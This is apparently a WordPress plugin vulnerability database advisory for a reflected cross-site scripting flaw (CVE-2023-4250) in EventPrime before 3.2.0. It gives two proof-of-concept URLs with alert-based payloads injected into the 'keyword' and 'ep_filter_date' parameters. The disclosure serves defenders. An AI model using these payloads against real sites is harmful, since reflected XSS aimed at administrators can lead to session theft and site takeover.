EventPrime < 3.2.0 – Reflected XSS | CVE 2023-4250 | Plugin Vulnerabilities

Description

The plugin does not sanitise and escape some parameters before outputting them back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.

Proof of Concept

POC 1 - Visit any of the following pages created by the plugin:

- Event Organizers
- Event Types
- Performers
- Venues

Add the `keyword` parameter to the URL with following text and load the new URL to trigger the XSS.

E.g. https://example.com/event-types/?keyword=%22%3E%3Cimg%20src=x%20onerror=alert(/XSS/)%3E

---

POC 2 - Visit the following URL:

https://example.com/wp-admin/edit.php?post_type=em_event&ep_filter_date=2023-08-08"+onmouseover%3Dalert(%2FXSS%2F)+"

Mouseover the date filter input to trigger the XSS.

Affects Plugins

eventprime-event-calendar-management

Fixed in 3.2.0

References

CVE

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

Miguel Santareno

Submitter

Miguel Santareno

Submitter website

https://miguelsantareno.github.io/

Submitter twitter

MiguelSantareno

Verified

Yes

WPVDB ID

9c271619-f478-45c3-91d9-be0f55ee06a2

Timeline

Publicly Published

2023-10-09 (about 2 years ago)

Added

2023-10-09 (about 2 years ago)

Last Updated

2023-10-09 (about 2 years ago)

Other

Published

Title

Published

2021-04-13

Title

PowerPack Addons for Elementor < 2.3.2 - Contributor+ Stored XSS

Published

2025-07-30

Title

WP Modal Popup with Cookie Integration < 2.5 - Authenticated (Administrator+) Stored Cross-Site Scripting

Published

2025-05-29

Title

LA-Studio Element Kit for Elementor < 1.5.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via Image Compare and Google Maps Widgets

Published

2021-12-06

Title

Site Reviews < 5.17.3 - Unauthenticated Stored Cross-Site Scripting

Published

2024-11-04

Title

Narnoo Commerce Manager <= 1.6.0 - Reflected Cross-Site Scripting